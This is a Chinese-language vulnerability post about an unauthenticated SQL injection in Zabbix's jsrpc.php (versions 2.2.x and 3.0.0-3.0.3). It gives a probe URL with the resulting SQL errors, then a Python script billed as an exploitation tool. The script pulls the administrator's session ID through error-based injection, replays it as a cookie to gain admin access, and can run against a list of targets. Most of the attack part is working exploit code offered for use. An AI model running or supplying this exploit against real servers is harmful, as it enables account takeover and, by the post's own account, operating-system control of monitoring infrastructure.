ZABBIX高危漏洞，无需授权登陆即可完成控制(附利用工具)

zabbix是一个开源的企业级性能监控解决方案。

官方网站：http://www.zabbix.com

zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞，攻击者无需授权登陆即可登陆zabbix管理系统，也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。

影响范围：2.2.x, 3.0.0-3.0.3。（其他版本未经测试）

漏洞测试

在您的zabbix的地址后面加上如下url：

/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype= 17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=& mark_color=1

输出结果，出现如下内容（包含：You have an error in your SQL syntax;）表示漏洞存在：

<div class="flickerfreescreen" data-timestamp="1471054088083" id="flickerfreescreen_1"><table class="list-table"  id="t57ae81946b8cb"><thead><tr><th class="cell-width">Timestamp</th><th>Value</th></tr></thead><tbody><tr  class="nothing-to-show"><td colspan="2">No data found.</td></tr></tbody></table></div><div class="msg-bad"><div  class="msg-details"><ul><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES  (39, 1, 'web.item.graph.period', '3600', 2, 2'3297)] [You have an error in your SQL syntax; check the manual that  corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query  [INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (40, 1, 'web.item.graph.stime',  '20160813041028', 3, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL  server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query [INSERT INTO profiles  (profileid, userid, idx, value_int, type, idx2) VALUES (41, 1, 'web.item.graph.isnow', '1', 2, 2'3297)] [You have an  error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use  near ''3297)' at line 1]</li></ul></div><span class="overlay-close-btn" onclick="javascript:  $(this).closest('.msg-bad').remove();" title="Close"></span></div>

以上为仅为漏洞验证测试方式。

攻击者可以通过进一步构造语句进行错误型sql注射，无需获取和破解加密的管理员密码。

有经验的攻击者可以直接通过获取admin的sessionid来根据结构算法构造sid，替换cookie直接以管理员身份登陆。

利用工具，可自动判断Session是否可用

import urllib,sys,urllib2,urllib def cookie(url):     poc='/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select 1 from (select count(*),concat(floor(rand(0)*2), (select sessionid from sessions where userid=1 and status=0 limit 1))x from information_schema.character_sets group by x)y)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color='     body= urllib.urlopen(url+poc).read()     cookie=body.split('Duplicate entry')[1].split('for key')[0][3:-2]     return cookie def test(cookie,url):     url=url+'proxies.php'     req=urllib2.Request(url)     cook="zbx_sessionid=%s" % cookie     req.add_header('Cookie', cook)     response=urllib2.urlopen(req)     data=response.read()     if data.find('Access denied.') < 0:         print "OK-->",cookie     else:         print 'ERROR' if len(sys.argv)==4:     for i in open(sys.argv[3]).readlines():         print i         test(cookie(i),i) else:     print sys.argv[1]     test(cookie(sys.argv[1]),sys.argv[1])